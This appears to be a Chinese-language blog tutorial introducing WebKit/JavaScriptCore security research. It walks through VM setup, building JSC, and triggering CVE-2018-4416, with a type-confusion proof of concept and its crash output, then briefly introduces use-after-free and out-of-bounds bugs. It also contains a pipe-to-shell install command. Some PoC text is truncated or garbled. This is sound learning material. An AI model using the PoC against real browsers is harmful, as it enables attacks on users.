我选择了一个相对简单的:/WebKit/。(ChakraCore 可能更简单,哈哈。但有传言说微软取消了这个项目,因此我决定不选它。)
我将撰写一系列文章来记录我学习 /WebKit/ 安全的笔记。这也是我第一次学习浏览器安全,我的文章 可能 会包含 大量 错误。如果你发现了,请务必联系我进行纠正。
在阅读之前,你需要了解:- C++ 语法 - 汇编语言语法 - 虚拟机的安装 - 熟悉 Ubuntu 及其命令行 - 基本的编译器理论概念
** 虚拟机 :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 首先,我们需要安装一个虚拟机作为测试目标。这里我选择 /Ubuntu 18.04 LTS/ 和 /Ubuntu 16.04 LTS/ 作为目标主机。你可以从 [[https://www.ubuntu.com/][这里]] 下载。如果我没有指定版本,请使用 18.04 LTS 作为默认版本。
Mac 可能是一个更合适的选择,因为它有 XCode 和 Safari。但考虑到 MacOS 的高资源消耗和不稳定的更新,我宁愿使用 Ubuntu。
我们需要一个虚拟机软件。我倾向于使用 [[https://www.vmware.com/][VMWare]]。Parallel Desktop 和 VirtualBox(免费)也不错,取决于个人习惯。
我不会一步步教你如何在 VMWare 上安装 Ubuntu。但我还是要提醒你,请 分配尽可能多的内存和 CPU,因为编译会消耗大量资源。一个 80GB 的磁盘应该足够存放源代码和编译后的文件。
** 源代码 :PROPERTIES: :CUSTOM_ID: source-code :END: 你可以通过三种方式下载 WebKit 源代码: [[https://github.com/WebKit/webkit][/git/]]、/svn/ 和 [[https://webkit.org/getting-the-code/][/archive/]]。
WebKit 的默认版本管理器是 svn。但我选择 git(太不习惯 svn 了):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** 调试器和编辑器 :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE 消耗大量资源,所以我用 vim 编辑源代码。
我看到的大多数调试工作都使用 lldb,而我对它并不熟悉。因此,我还安装了 gdb 并搭配 gef 插件。
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** 测试 :PROPERTIES: :CUSTOM_ID: test :END: *** 编译 JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 编译完整的 WebKit 需要大量时间。目前我们只编译 JSC(JavaScript Core),大多数漏洞都来自这里。
现在,你应该在 WebKit 源代码的 根目录 下。运行以下命令来准备依赖:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
即使我们现在还没有编译完整的 WebKit,你也可以先安装其余依赖,以备将来测试。如果你不想花费太多时间,此步骤在编译 JSC 时不是必须的:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
之后,我们可以编译 JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
几分钟后,我们可以通过以下命令运行 JSC:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
让我们做一些测试:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** 触发漏洞 :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote 此处使用 Ubuntu 18.04 LTS #+end_quote
我们使用 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 进行测试,以下是 PoC。将其保存为 =poc.js=,放在 =jsc= 所在的同一文件夹:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
首先,切换到存在漏洞的版本:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote 这可能会花费比编译更多的时间 #+end_quote
运行:=./jsc poc.js=,我们会得到:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
如果我们在最新版本上运行(=git checkout master= 切换回来,并删除编译内容 =rm -rf WebKitBuild/Relase/= 和 =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate,
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
现在,我们成功触发了一个漏洞!
我不打算解释细节(我也不知道)。希望几周后我们能弄明白根本原因。
这里我只讨论二进制层面的漏洞。一些更高级的漏洞,比如 /URL 欺骗/ 或 /UXSS/,不在我们的讨论范围之内。下面的示例 并非仅仅来自 WebKit。有些是 Chrome 的漏洞。我们会简要介绍,并稍后具体分析 PoC。
在阅读这部分之前,强烈建议你先阅读一些编译原理方面的资料。基础的 Pwn 知识也应该掌握。我的解释可能不够清晰。再次强调,如果你发现错误,请指正。
随着我对 JSC 理解的加深,这篇文章会更新多次。稍后别忘了回来查看。
** 1. 释放后使用(Use After Free) :PROPERTIES: :CUSTOM_ID: use-after-free :END: 也称为 =UAF=。这在 CTF 挑战中很常见,是一个经典的场景:
#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src
由于一些逻辑错误,代码会重用已释放的内存。通常,一旦我们控制了已释放的内存,就可以进行泄露或写入。
CVE-2017-13791 是 WebKit UAF 的一个例子。这里是 PoC:
#+begin_example
a b #+end_example** 2. 越界(Out of Bound) :PROPERTIES: :CUSTOM_ID: out-of-bound :END: 也称为 =OOB=。类似于浏览器中的溢出。同样,我们可以读取/写入相邻内存。=OOB= 经常出现在数组的错误优化或检查不足的情况下。例如([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):
#+begin_example var ba; function s(){ ba = this; }
function dummy(){ alert("just a function"); }